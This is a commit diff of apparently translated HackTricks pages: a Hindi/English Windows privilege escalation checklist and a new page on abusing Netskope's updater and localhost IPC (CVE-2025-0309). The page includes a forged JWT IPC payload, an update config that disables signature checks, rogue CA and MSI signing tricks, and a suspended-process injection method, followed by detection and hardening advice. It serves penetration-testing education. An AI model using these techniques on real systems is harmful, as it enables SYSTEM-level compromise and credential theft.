Translated ['src/windows-hardening/windows-local-privilege-escalation/RE

This commit is contained in:
Translator 2025-09-03 14:57:50 +00:00
parent d4f39b1d2c
commit 41e7ccd155
4 changed files with 519 additions and 381 deletions

View File

@ -236,6 +236,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)

View File

@ -1,114 +1,115 @@
# Checklist - Local Windows Privilege Escalation
# चेकलिस्ट - Local Windows Privilege Escalation
{{#include ../banners/hacktricks-training.md}}
### **Windows स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Windows local privilege escalation vectors खोजने का सबसे अच्छा टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] [**सिस्टम जानकारी**](windows-local-privilege-escalation/index.html#system-info) प्राप्त करें
- [ ] **कर्नेल** [**एक्सप्लॉइट्स के लिए स्क्रिप्ट का उपयोग करें**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] कर्नेल **एक्सप्लॉइट्स** के लिए **गूगल से खोजें**
- [ ] कर्नेल **एक्सप्लॉइट्स** के लिए **searchsploit से खोजें**
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) में दिलचस्प जानकारी?
- [ ] [**PowerShell इतिहास**](windows-local-privilege-escalation/index.html#powershell-history) में पासवर्ड?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) में दिलचस्प जानकारी?
- [ ] प्राप्त करें [**System information**](windows-local-privilege-escalation/index.html#system-info)
- [ ] खोजें **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] kernel **exploits** खोजने के लिए **Google** का उपयोग करें
- [ ] kernel **exploits** खोजने के लिए **searchsploit** का उपयोग करें
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) में कोई रोचक जानकारी?
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) में पासवर्ड?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) में कोई रोचक जानकारी?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) और [**WEF** ](windows-local-privilege-escalation/index.html#wef) सेटिंग्स की जांच करें
- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) की जांच करें
- [ ] जांचें कि [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) सक्रिय है या नहीं
- [ ] जांचें [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)और [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings
- [ ] जांचें [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] जांचें क्या [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)सक्रिय है
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] जांचें कि कोई [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) है या नहीं
- [ ] जांचें क्या कोई [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] [**वर्तमान** उपयोगकर्ता **विशेषाधिकार**](windows-local-privilege-escalation/index.html#users-and-groups) की जांच करें
- [ ] क्या आप [**किसी विशेषाधिकार प्राप्त समूह के सदस्य हैं**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] जांचें कि आपके पास [इनमें से कोई भी टोकन सक्षम है](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] जांचें [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] क्या आप [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] जांचें क्या आपके पास इनमें से कोई token सक्षम है](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) की जांच करें (पहुँच?)
- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) की जांच करें
- [ ] [**Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) के अंदर क्या है?
- [ ] जांचें[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (access?)
- [ ] जांचें [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] क्या है[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] **वर्तमान** [**नेटवर्क** **जानकारी**](windows-local-privilege-escalation/index.html#network) की जांच करें
- [ ] **छिपी हुई स्थानीय सेवाओं** की जांच करें जो बाहर के लिए प्रतिबंधित है
- [ ] जांचें **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
- [ ] बाहरी से restricted छिपी हुई local services की जाँच करे
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] प्रक्रियाओं के बाइनरी [**फाइल और फ़ोल्डर अनुमतियाँ**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] Processes binaries के [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] क्या आप **दिलचस्प प्रक्रियाओं** के माध्यम से क्रेडेंशियल चुरा सकते हैं `ProcDump.exe` ? (फायरफॉक्स, क्रोम, आदि ...)
- [ ] `ProcDump.exe` से रोचक processes के साथ क्रेडेंशियल चुराएँ ? (firefox, chrome, आदि ...)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] [क्या आप **किसी सेवा को संशोधित कर सकते हैं**?](windows-local-privilege-escalation/index.html#permissions)
- [ ] [क्या आप **किसी सेवा द्वारा ** निष्पादित **बाइनरी** को **संशोधित कर सकते हैं**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [क्या आप किसी **सेवा** के **रजिस्ट्री** को **संशोधित कर सकते हैं**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [क्या आप किसी **अनकोटेड सेवा** बाइनरी **पथ** का लाभ उठा सकते हैं?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
- [ ] क्या आप किसी भी service को **modify** कर सकते हैं? (permissions) (Can you **modify any service**?)
- [ ] क्या आप किसी भी service द्वारा **execute** किए जाने वाले **binary** को **modify** कर सकते हैं? (Can you **modify** the **binary** that is **executed** by any **service**?)
- [ ] क्या आप किसी भी service के **registry** को **modify** कर सकते हैं? (Can you **modify** the **registry** of any **service**?)
- [ ] क्या आप किसी भी **unquoted service** binary **path** का फायदा उठा सकते हैं? (unquoted service paths)
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] **स्थापित अनुप्रयोगों पर** [**लिखने** की अनुमतियाँ](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] इंस्टॉल किए गए applications पर **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **कमजोर** [**ड्राइवर**](windows-local-privilege-escalation/index.html#drivers)
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] क्या आप **PATH के अंदर किसी फ़ोल्डर में लिख सकते हैं**?
- [ ] क्या कोई ज्ञात सेवा बाइनरी है जो **किसी गैर-मौजूद DLL को लोड करने की कोशिश करती है**?
- [ ] क्या आप **किसी बाइनरी फ़ोल्डर में लिख सकते हैं**?
- [ ] क्या आप PATH के किसी भी फोल्डर में **write** कर सकते हैं? (Can you **write in any folder inside PATH**?)
- [ ] क्या कोई जाना-पहचाना service binary है जो कोई non-existant DLL लोड करने की कोशिश करता है?
- [ ] क्या आप किसी भी **binaries folder** में **write** कर सकते हैं?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] नेटवर्क का एन्यूमरेट करें (शेयर, इंटरफेस, रूट, पड़ोसी, ...)
- [ ] लोकलहोस्ट (127.0.0.1) पर सुनने वाली नेटवर्क सेवाओं पर विशेष ध्यान दें
- [ ] नेटवर्क का enumeration करें (shares, interfaces, routes, neighbours, ...)
- [ ] localhost (127.0.0.1) पर सुनने वाली network services पर विशेष ध्यान दें
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) क्रेडेंशियल्स
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) क्रेडेंशियल्स जो आप उपयोग कर सकते हैं?
- [ ] दिलचस्प [**DPAPI क्रेडेंशियल्स**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) के पासवर्ड?
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) में दिलचस्प जानकारी?
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
- [ ] क्या उपयोग करने योग्य [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials हैं?
- [ ] रोचक [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] सेव्ड [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) के पासवर्ड?
- [ ] सेव्ड RDP कनेक्शनों में रोचक जानकारी [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) में पासवर्ड?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) के पासवर्ड?
- [ ] [**AppCmd.exe** मौजूद है](windows-local-privilege-escalation/index.html#appcmd-exe)? क्रेडेंशियल्स?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL साइड लोडिंग?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) पासवर्ड?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **और** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) में पासवर्ड?
- [ ] कोई [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) बैकअप?
- [ ] कोई [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) फाइल?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) फाइल?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) में पासवर्ड?
- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) में दिलचस्प जानकारी?
- [ ] क्या आप [**credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) के लिए उपयोगकर्ता से पूछना चाहते हैं?
- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) के अंदर दिलचस्प फ़ाइलें?
- [ ] अन्य [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) के अंदर (dbs, इतिहास, बुकमार्क, ...)?
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) फ़ाइलों और रजिस्ट्री में
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) जो स्वचालित रूप से पासवर्ड खोजने के लिए हैं
- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) में रोचक जानकारी?
- [ ] क्या आप उपयोगकर्ता से क्रेडेंशियल पूछना चाहेंगे? [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials)
- [ ] रीसायकल बिन के अंदर रोचक [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] अन्य [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)
- [ ] ब्राउज़र डेटा के अंदर (dbs, history, bookmarks, ...) [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history)?
- [ ] फाइलों और रजिस्ट्री में [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] पासवर्ड ऑटोमेटिकली खोजने के लिए [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] क्या आपके पास किसी प्रक्रिया के हैंडलर तक पहुंच है जो व्यवस्थापक द्वारा चलायी जाती है?
- [ ] क्या आपके पास किसी administrator द्वारा चलाए गए process का कोई handler है?
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] जांचें कि क्या आप इसका दुरुपयोग कर सकते हैं
- [ ] जांचें क्या आप इसका दुरुपयोग कर सकते हैं
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,121 @@
# एंटरप्राइज़ Auto-Updaters और Privileged IPC का दुरुपयोग (उदा., Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
यह पृष्ठ उन Windows local privilege escalation चेन का सामान्यीकरण करता है जो एंटरप्राइज़ endpoint agents और updaters में मिलती हैं और जो एक lowfriction IPC surface और एक privileged update flow उजागर करती हैं। एक प्रतिनिधि उदाहरण Netskope Client for Windows < R129 (CVE-2025-0309) है, जह एक lowprivileged उपयगकर्त attackercontrolled सर्वर पर enrollment करने के ि मजबूर ि सकत है और ि एक malicious MSI पहुँच सकत है िसे SYSTEM सेव इंस्ट कर देत है
आप समान उत्पादों के खिलाफ पुन: उपयोग कर सकने वाले प्रमुख विचार:
- एक privileged सेवा के localhost IPC का दुरुपयोग करके reenrollment या reconfiguration को attacker सर्वर की ओर मजबूर करना।
- vendor के update endpoints को implement करना, एक rogue Trusted Root CA पहुँचाना, और updater को एक malicious, “signed” package की ओर इंगित करना।
- कमजोर signer जांचों (CN allowlists), वैकल्पिक digest flags, और शिथिल MSI गुणों से बचना।
- यदि IPC “encrypted” है, तो registry में संग्रहीत worldreadable machine identifiers से key/IV निकालना।
- यदि सेवा callers को image path/process name द्वारा प्रतिबंधित करती है, तो किसी allowlisted process में inject करना या एक suspended प्रक्रिया spawn करके अपने DLL को minimal threadcontext patch के माध्यम से bootstrap करना।
---
## 1) localhost IPC के माध्यम से attacker सर्वर पर enrollment जबरदस्ती करना
कई एजेंट एक usermode UI प्रक्रिया के साथ आते हैं जो localhost TCP पर JSON का उपयोग करते हुए SYSTEM सेवा से बात करती है।
Observed in Netskope:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Exploit flow:
1) ऐसे JWT enrollment token तैयार करें जिनके claims backend host (उदा., AddonUrl) को नियंत्रित करते हों। Use alg=None ताकि किसी signature की आवश्यकता न रहे।
2) provisioning कमांड को invoke करते हुए अपना JWT और tenant name के साथ IPC संदेश भेजें:
```json
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
```
3) The service starts hitting your rogue server for enrollment/config, e.g.:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
नोट्स:
- यदि caller verification path/namebased है, तो request को allowlisted vendor binary से originate करें (देखें §4).
---
## 2) Hijacking the update channel to run code as SYSTEM
एक बार जब client आपके server से बात करता है, तो अपेक्षित endpoints को लागू करें और इसे एक attacker MSI की ओर मोड़ें। सामान्य अनुक्रम:
1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → एक PEM CA प्रमाणपत्र लौटाएँ। सेवा इसे Local Machine Trusted Root store में इंस्टॉल कर देती है।
3) /v2/checkupdate → मेटाडेटा प्रदान करें जो एक malicious MSI और एक fake version की ओर इशारा करता है।
Bypassing common checks seen in the wild:
- Signer CN allowlist: सेवा केवल Subject CN को “netSkope Inc” या “Netskope, Inc.” के बराबर चेक कर सकती है। आपका rogue CA उस CN के साथ एक leaf जारी कर सकता है और MSI पर साइन कर सकता है।
- CERT_DIGEST property: CERT_DIGEST नाम का एक benign MSI property शामिल करें। इंस्टॉल के दौरान कोई प्रवर्तन नहीं।
- Optional digest enforcement: config flag (e.g., check_msi_digest=false) अतिरिक्त cryptographic validation को disable कर देती है।
Result: SYSTEM service आपके MSI को C:\ProgramData\Netskope\stAgent\data\*.msi से इंस्टॉल कर देता है और NT AUTHORITY\SYSTEM के रूप में arbitrary code execute करता है।
---
## 3) Forging encrypted IPC requests (when present)
R127 से, Netskope ने IPC JSON को एक encryptData फ़ील्ड में wrap किया जो Base64 जैसा दिखता है। reversing से पता चला कि AES उपयोग हुआ था और key/IV registry values से derive होते हैं जो किसी भी user द्वारा पढ़े जा सकते हैं:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Attackers encryption reproduce कर सकते हैं और एक standard user से valid encrypted commands भेज सकते हैं। सामान्य सुझाव: अगर कोई agent अचानक अपनी IPC “encrypt” करता है, तो HKLM के अंतर्गत device IDs, product GUIDs, install IDs जैसे material खोजें।
---
## 4) Bypassing IPC caller allowlists (path/name checks)
कुछ services peer को authenticate करने के लिए TCP connection का PID resolve करके image path/name को allowlisted vendor binaries (उदा., stagentui.exe, bwansvc.exe, epdlp.exe) के साथ compare करते हैं।
दो practical bypasses:
- किसी allowlisted process (उदा., nsdiag.exe) में DLL injection और उसके अंदर से IPC को proxy करें।
- एक allowlisted binary को suspended स्थिति में spawn करें और CreateRemoteThread का उपयोग किए बिना अपनी proxy DLL bootstrap करें (see §5) ताकि driverenforced tamper rules संतुष्ट हों।
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
Products अक्सर एक minifilter/OB callbacks driver (उदा., Stadrv) के साथ आते हैं जो protected processes के handles से खतरनाक अधिकार हटाते हैं:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME हटाता है
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE तक सीमित करता है
एक विश्वसनीय usermode loader जो इन प्रतिबंधों का सम्मान करता है:
1) CreateProcess of vendor binary with CREATE_SUSPENDED।
2) वे handles प्राप्त करें जिनका आपको अभी भी अधिकार है: process पर PROCESS_VM_WRITE | PROCESS_VM_OPERATION, और thread handle के लिए THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (या अगर आप किसी ज्ञात RIP पर कोड patch कर रहे हैं तो सिर्फ THREAD_RESUME)।
3) ntdll!NtContinue (या कोई अन्य early, guaranteedmapped thunk) को ओवरराइट करें एक छोटे stub से जो आपकी DLL path पर LoadLibraryW कॉल करे, फिर वापस jump करे।
4) ResumeThread करें ताकि आपका stub इन‑प्रोसेस ट्रिगर हो और आपकी DLL load हो जाए।
क्योंकि आपने पहले सेprotected process पर PROCESS_CREATE_THREAD या PROCESS_SUSPEND_RESUME का उपयोग नहीं किया (आपने उसे बनाया था), driver की policy संतुष्ट होती है।
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) एक rogue CA, malicious MSI signing automate करता है, और आवश्यक endpoints सर्व करता है: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope एक custom IPC client है जो arbitrary (optionally AESencrypted) IPC messages बनाता है और suspendedprocess injection शामिल करता है ताकि originate हो एक allowlisted binary से।
---
## 7) Detection opportunities (blue team)
- Local Machine Trusted Root में additions की निगरानी करें। Sysmon + registrymod eventing (देखें SpecterOps guidance) अच्छा काम करता है।
- agent की service द्वारा ऐसे paths से शुरू किए गए MSI executions को flag करें जैसे C:\ProgramData\<vendor>\<agent>\data\*.msi।
- agent logs की समीक्षा करें unexpected enrollment hosts/tenants के लिए, उदाहरण: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log addonUrl / tenant anomalies और provisioning msg 148 देखें।
- localhost IPC clients पर alert करें जो expected signed binaries नहीं हैं, या जो असामान्य child process trees से आते हैं।
---
## Hardening tips for vendors
- enrollment/update hosts को strict allowlist से बाँधें; clientcode में untrusted domains को reject करें।
- image path/name checks के बजाय OS primitives (ALPC security, namedpipe SIDs) से IPC peers authenticate करें।
- worldreadable HKLM में secret material न रखें; अगर IPC encrypt करनी ही है तो keys protected secrets से derive करें या authenticated channels पर negotiate करें।
- updater को supplychain surface समझें: एक पूरी chain require करें जो आपके control वाले trusted CA तक जाती हो, package signatures को pinned keys के खिलाफ verify करें, और अगर validation config में disabled है तो fail closed रखें।
## References
- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
- [NachoVPN Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
- [UpSkope Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
- [NVD CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
{{#include ../../banners/hacktricks-training.md}}